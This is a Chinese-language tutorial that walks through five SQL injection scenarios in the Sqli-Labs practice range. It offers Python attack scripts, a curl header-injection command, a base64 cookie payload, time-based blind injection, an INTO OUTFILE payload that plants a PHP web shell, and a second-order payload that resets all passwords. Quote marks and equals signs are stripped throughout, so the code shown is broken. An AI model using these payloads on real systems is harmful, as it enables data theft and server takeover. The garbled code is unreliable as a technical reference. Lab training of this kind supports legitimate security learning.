从GET到Cookie用Sqli-Labs靶场实战拆解SQL注入的5种典型场景附脚本在Web安全领域SQL注入始终是OWASP Top 10中的常客。不同于教科书式的理论讲解本文将带您深入Sqli-Labs靶场通过五个典型攻击场景的实战演示揭示SQL注入从基础到高阶的完整攻击链。无论您是刚入门的安全测试工程师还是希望提升实战能力的开发者都能从中获得可直接复用的技术方案。1. URL参数注入GET请求的攻防博弈GET请求作为Web应用最基础的交互方式其参数直接暴露在URL中的特性使其成为SQL注入的首选目标。以Sqli-Labs Less-1为例当看到?id1返回用户数据时有经验的安全人员会立即意识到可能存在字符拼接漏洞。闭合方式判断的黄金法则输入\观察报错信息如\提示单引号闭合尝试?id1 --验证闭合有效性通过order by二分法确定字段数# 自动化闭合检测脚本示例 import requests def detect_closure(target_url): test_chars [, \, ), \), )), \))] for char in test_chars: payload f1{char} -- r requests.get(f{target_url}?id{payload}) if error not in r.text: return char return None联合查询的实战技巧使用-1确保原查询返回空集information_schema数据库是数据字典的钥匙group_concat()与十六进制编码优化结果显示注意实际测试中应避免使用--这类明显特征可替换为#或URL编码后的注释符2. POST表单注入登录框背后的危险从Less-11开始攻击面转向POST请求。这类注入常出现在登录验证、搜索框等场景相比GET注入更具隐蔽性。通过Burp Suite拦截修改请求我们可以发现POST注入的三大特征输入点可能在username/password等多个字段错误信息可能被前端过滤需要处理会话状态如CookiePOST /Less-11/ HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded unameadmin union select 1,database()#passwd123submitSubmit自动化爆破表结构脚本import requests from urllib.parse import quote def post_injection(target_url, payload): session requests.Session() data { uname: quote(payload), passwd: test, submit: Submit } return session.post(target_url, datadata).text3. HTTP头注入被忽视的攻击向量Less-18到Less-22展示了更隐蔽的注入点——HTTP头部。这些场景模拟了真实环境中用户可控的UA、Referer、Cookie等头的处理漏洞。头部注入的突破点User-AgentWeb统计模块常记录此信息X-Forwarded-ForIP地址伪造场景Cookie身份验证令牌处理不当# 使用curl测试User-Agent注入 curl -H User-Agent: and updatexml(1,concat(0x7e,(select user()),0x7e),1) and 11 http://localhost/Less-18/Base64编码绕过的技巧import base64 def build_cookie_payload(sql): payload fadmin {sql} -- return base64.b64encode(payload.encode()).decode()4. 盲注技术无回显场景的破局之道当应用不返回具体错误信息时布尔盲注和时间盲注成为唯一选择。Less-5和Less-8的对比展示了这两种技术的差异盲注类型选择矩阵特征布尔盲注时间盲注页面内容差异有无适用场景条件响应统一响应检测速度快慢典型Payloadand 11sleep(5)时间盲注优化策略使用if(condition, sleep, null)减少请求量二分法加速字符猜解并行请求提升效率# 时间盲注自动化脚本 import time def time_based_injection(url, payload): start time.time() requests.get(f{url}?id{payload}) return time.time() - start 35. 二阶注入与文件导出持久化攻击Less-7的文件导出和Less-17的密码修改功能展示了SQL注入如何引发更严重的后续攻击文件导出的关键条件知道绝对路径通过报错信息或配置文件泄露有文件写入权限secure_file_priv设置能控制写入内容避免被转义-- 导出WebShell的典型Payload ?id1)) union select 1,?php system($_GET[cmd]);?,3 into outfile /var/www/html/shell.php --二阶注入的隐蔽特性恶意数据先被存储后触发绕过即时检测机制常见于用户注册、评论等功能在Less-17的密码重置功能中攻击者可以构造 or 11#这将导致所有用户密码被重置而非仅修改目标账户。